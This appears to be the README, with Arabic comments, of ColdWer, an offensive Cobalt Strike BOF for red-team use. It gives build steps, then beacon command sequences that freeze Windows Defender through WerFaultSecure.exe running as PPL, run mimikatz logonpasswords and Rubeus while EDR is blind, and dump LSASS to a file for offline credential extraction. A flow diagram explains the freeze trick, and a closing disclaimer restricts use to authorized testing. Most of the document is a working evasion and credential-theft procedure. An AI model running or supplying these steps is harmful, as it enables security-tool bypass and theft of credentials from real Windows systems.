C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# انتقل إلى دليل المصدر
cd src/

# ترجمة BOF (يتطلب MinGW)
make

# أو يدويًا:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# ابحث عن PID لـ Windows Defender
beacon> ps

# جمّد العملية
beacon> cw-freeze 1337

# نفّذ أوامرك أثناء تجميد EDR/AV
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# فك التجميد عند الانتهاء
beacon> cw-unfreeze

# الخطوة 1: رفع WerFaultSecure.exe من Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# الخطوة 2: ابحث عن PID لـ LSASS
beacon> ps

# الخطوة 3: تفريغ LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# الخطوة 4: تنزيل التفريغ
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# تجميد باستخدام المسار الافتراضي
beacon> cw-freeze 1337

# استخدام WerFaultSecure.exe مخصص
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# تفريغ LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# فك التجميد عند الانتهاء
beacon> cw-unfreeze

1. 🚀 تشغيل WerFaultSecure.exe كـ PPL (مستوى WinTcb)
                    ↓
2. 🎯 WerFaultSecure يلتصق بالعملية المستهدفة
                    ↓
3. ⏸️  MiniDumpWriteDump يعلق جميع خيوط العملية المستهدفة
                    ↓
4. 🥶 تعليق WerFaultSecure نفسه → تبقى العملية الهدف مجمدة
                    ↓
5. ✅ تنفيذ أوامرك (EDR/AV لا تستطيع الرؤية!)
                    ↓
6. 🔥 إنهاء WerFaultSecure → تفك تجميد العملية الهدف

⚠️ لاختبارات الأمن المصرح بها فقط

هذه الأداة مخصصة لـ:
- اختبار الاختراق المأذون به
- عمليات الفريق الأحمر بإذن كتابي
- أبحاث الأمن في بيئات خاضعة للرقابة

المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.